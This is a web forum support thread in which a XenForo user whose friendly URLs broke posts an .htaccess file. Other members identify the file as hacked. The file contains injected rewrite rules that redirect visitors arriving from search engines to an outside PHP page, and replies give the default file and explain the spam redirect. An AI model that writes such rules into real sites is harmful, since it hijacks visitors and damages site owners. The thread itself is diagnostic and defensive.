• This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn more.

Full Friendly URLs stopped working after upgrade.

Ray

Active member
#1
I upgraded from beta 3 to beta 5 and Full Friendly URLs stopped working, I get 404 pages.

Everything seems to be working fine with Full Friendly URLs disabled.
 

Ray

Active member
#3
.htaccess:

Code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*g?oog?le\.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule .* http://frigo.info/hvac/temp.php [R,L]
I remember it being different, I think someone replaced my .htaccess file the same day I upgraded but I'm not sure. :S

Here is what I found after googling the url found at the very end of the file:
http://forums.oscommerce.com/topic/368962-hacked-httaccess-changed/
 

Brogan

XenForo moderator
Staff member
#4
The .htaccess in your forum directory should contain this as a minimum:

Code:
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^(data|js|styles|install) - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
</IfModule>
If you haven't edited your .htaccess file to add any custom code then I would replace the contents with what I have posted above, which is the default.
 

Mikey

Well-known member
#7
What the .htaccess file he had was doing was taking all the major search engines, and if the user hit your site by clicking the link from the search engines, they would be redirected to a different page. It's what spammers do regularly, if you did not do it, change your passwords immediately, can be very bad for your Search Engine rankings.